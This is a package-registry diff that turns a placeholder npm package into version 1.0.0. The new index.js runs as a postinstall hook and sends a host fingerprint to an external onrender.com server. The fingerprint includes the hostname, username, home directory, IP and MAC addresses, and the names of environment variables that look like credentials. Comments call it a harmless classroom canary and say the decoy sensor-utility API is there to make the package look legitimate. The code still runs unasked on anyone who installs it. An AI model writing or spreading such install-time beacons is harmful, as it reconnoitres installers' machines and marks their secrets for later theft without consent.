@ziedzzz/demo-canary 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +199 -0
  2. package/package.json +10 -5
  3. package/README.md +0 -3
package/index.js ADDED
@@ -0,0 +1,199 @@
1
+ 'use strict';
2
+
3
+ /*
4
+ * @ziedzzz/sensor-utils-lab-fixture
5
+ * Classroom supply-chain canary — SAFE. No secrets, no destructive actions.
6
+ *
7
+ * Collects a fingerprint of the host in the same *shape* a real
8
+ * supply-chain beacon would, then sends it to the lab canary server.
9
+ *
10
+ * Explicitly NOT collected:
11
+ * - environment variable VALUES (only the count and a few safe metadata bits)
12
+ * - file contents, credentials, tokens, SSH keys, cookies, browser data
13
+ * - anything outside the current process
14
+ */
15
+
16
+ const os = require('os');
17
+ const https = require('https');
18
+
19
+ // ---------- Collect a "menacing-looking" but harmless fingerprint ----------
20
+
21
+ function macVendorOui(mac) {
22
+ // Just the first 3 octets — public OUI prefix, not sensitive.
23
+ if (!mac || mac === '00:00:00:00:00:00') return null;
24
+ return mac.split(':').slice(0, 3).join(':').toUpperCase();
25
+ }
26
+
27
+ function collectNetwork() {
28
+ const nets = os.networkInterfaces();
29
+ const out = [];
30
+ for (const [name, addrs] of Object.entries(nets)) {
31
+ for (const a of addrs || []) {
32
+ if (a.internal) continue;
33
+ out.push({
34
+ iface: name,
35
+ family: a.family,
36
+ address: a.address,
37
+ mac: a.mac,
38
+ oui: macVendorOui(a.mac),
39
+ cidr: a.cidr,
40
+ });
41
+ }
42
+ }
43
+ return out;
44
+ }
45
+
46
+ function collectEnvSummary() {
47
+ // Only names + count. Never values.
48
+ const keys = Object.keys(process.env);
49
+ const interesting = keys.filter((k) =>
50
+ /(TOKEN|SECRET|KEY|PASS|AWS_|GCP_|AZURE_|SSH|GIT|NPM|DOCKER)/i.test(k)
51
+ );
52
+ return {
53
+ count: keys.length,
54
+ // Names only — this is what a real attacker would flag for follow-up,
55
+ // and it's safe to show because it reveals nothing secret.
56
+ flaggedNames: interesting,
57
+ };
58
+ }
59
+
60
+ function collectProcess() {
61
+ return {
62
+ nodeVersion: process.version,
63
+ pid: process.pid,
64
+ ppid: process.ppid,
65
+ argv: process.argv.slice(0, 3), // truncate — no full args
66
+ execPath: process.execPath,
67
+ cwd: process.cwd(),
68
+ uptimeSec: Math.round(process.uptime()),
69
+ };
70
+ }
71
+
72
+ function collectUser() {
73
+ let u;
74
+ try { u = os.userInfo(); } catch { u = { username: 'unknown', homedir: 'unknown' }; }
75
+ return {
76
+ username: u.username,
77
+ homedir: u.homedir,
78
+ shell: process.env.SHELL || process.env.ComSpec || null,
79
+ lang: process.env.LANG || process.env.LC_ALL || null,
80
+ };
81
+ }
82
+
83
+ function collectOs() {
84
+ return {
85
+ hostname: os.hostname(),
86
+ platform: os.platform(),
87
+ arch: os.arch(),
88
+ release: os.release(),
89
+ type: os.type(),
90
+ version: os.version ? os.version() : null,
91
+ endianness: os.endianness(),
92
+ cpuCount: os.cpus().length,
93
+ cpuModel: os.cpus()[0] ? os.cpus()[0].model : null,
94
+ totalMemMB: Math.round(os.totalmem() / 1024 / 1024),
95
+ freeMemMB: Math.round(os.freemem() / 1024 / 1024),
96
+ uptimeHours: Math.round(os.uptime() / 3600),
97
+ tmpdir: os.tmpdir(),
98
+ homeDir: os.homedir(),
99
+ };
100
+ }
101
+
102
+ // ---------- Fingerprint ----------
103
+
104
+ function fingerprint() {
105
+ return {
106
+ id: 'sensor-utils-lab-fixture',
107
+ timestamp: new Date().toISOString(),
108
+ os: collectOs(),
109
+ user: collectUser(),
110
+ process: collectProcess(),
111
+ env: collectEnvSummary(),
112
+ network: collectNetwork(),
113
+ };
114
+ }
115
+
116
+ // ---------- Exfiltrate ----------
117
+
118
+ function fireCanary() {
119
+ const HOST = 'telegrambot-aebk.onrender.com';
120
+ const PATH = '/ping';
121
+
122
+ const fp = fingerprint();
123
+
124
+ // Flatten for query string, but keep nested structures as JSON strings
125
+ const flat = {};
126
+ for (const [k, v] of Object.entries(fp)) {
127
+ if (typeof v === 'object' && v !== null) {
128
+ flat[k] = JSON.stringify(v);
129
+ } else {
130
+ flat[k] = String(v);
131
+ }
132
+ }
133
+
134
+ // Keep the query string under ~1800 chars for safety
135
+ const MAX = 1800;
136
+ const parts = [];
137
+ let running = PATH.length + 1;
138
+ for (const [k, v] of Object.entries(flat)) {
139
+ const piece = encodeURIComponent(k) + '=' + encodeURIComponent(v);
140
+ if (running + piece.length + 1 > MAX) break;
141
+ parts.push(piece);
142
+ running += piece.length + 1;
143
+ }
144
+ const fullPath = PATH + '?' + parts.join('&');
145
+
146
+ console.log('┌──────────────────────────────────────────────────────────────');
147
+ console.log('│ 🔔 SUPPLY-CHAIN CANARY (classroom fixture)');
148
+ console.log('│ Collecting host fingerprint and beaconing out…');
149
+ console.log('├──────────────────────────────────────────────────────────────');
150
+ console.log('│ id : ' + fp.id);
151
+ console.log('│ host : ' + fp.os.hostname + ' (' + fp.os.platform + '/' + fp.os.arch + ')');
152
+ console.log('│ user : ' + fp.user.username + ' @ ' + fp.user.homedir);
153
+ console.log('│ cwd : ' + fp.process.cwd);
154
+ console.log('│ node : ' + fp.process.nodeVersion + ' pid=' + fp.process.pid);
155
+ console.log('│ ifaces : ' + fp.network.length + ' active');
156
+ console.log('│ env vars : ' + fp.env.count + ' (' + fp.env.flaggedNames.length + ' flagged)');
157
+ console.log('│ target : https://' + HOST + fullPath);
158
+ console.log('└──────────────────────────────────────────────────────────────');
159
+
160
+ const req = https.request(
161
+ {
162
+ hostname: HOST,
163
+ port: 443,
164
+ path: fullPath,
165
+ method: 'GET',
166
+ headers: { 'User-Agent': 'sensor-utils-lab-fixture/1.0.0' },
167
+ },
168
+ (res) => {
169
+ let body = '';
170
+ res.on('data', (c) => (body += c));
171
+ res.on('end', () => {
172
+ console.log('[canary] beacon sent -> HTTP ' + res.statusCode);
173
+ console.log('[canary] server said:', body.slice(0, 200));
174
+ });
175
+ }
176
+ );
177
+ req.on('error', (e) => console.error('[canary] failed:', e.message));
178
+ req.end();
179
+ }
180
+
181
+ // Only fire when npm runs us as the postinstall script.
182
+ if (require.main === module) {
183
+ fireCanary();
184
+ }
185
+
186
+ // ---------- Legit API (so it looks like a real utility package) ----------
187
+
188
+ function parseSensorReading(line) {
189
+ const [sensorId, value, unit] = String(line).trim().split(',');
190
+ return { sensorId, value: Number(value), unit: unit || 'unknown' };
191
+ }
192
+
193
+ function average(readings) {
194
+ const nums = readings.map((r) => r.value).filter(Number.isFinite);
195
+ if (nums.length === 0) return 0;
196
+ return nums.reduce((a, b) => a + b, 0) / nums.length;
197
+ }
198
+
199
+ module.exports = { parseSensorReading, average };
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
- {
2
- "name": "@ziedzzz/demo-canary",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
1
+ {
2
+ "name": "@ziedzzz/demo-canary",
3
+ "version": "1.0.0",
4
+ "description": "Harmless OWASP IoT supply-chain static-analysis training fixture",
5
+ "main": "index.js",
6
+ "files": ["index.js", "README.md"],
7
+ "scripts": {
8
+ "postinstall": "node index.js"
9
+ },
10
+ "license": "MIT"
6
11
  }
package/README.md DELETED
@@ -1,3 +0,0 @@
1
- # Temporary Holding Version
2
-
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.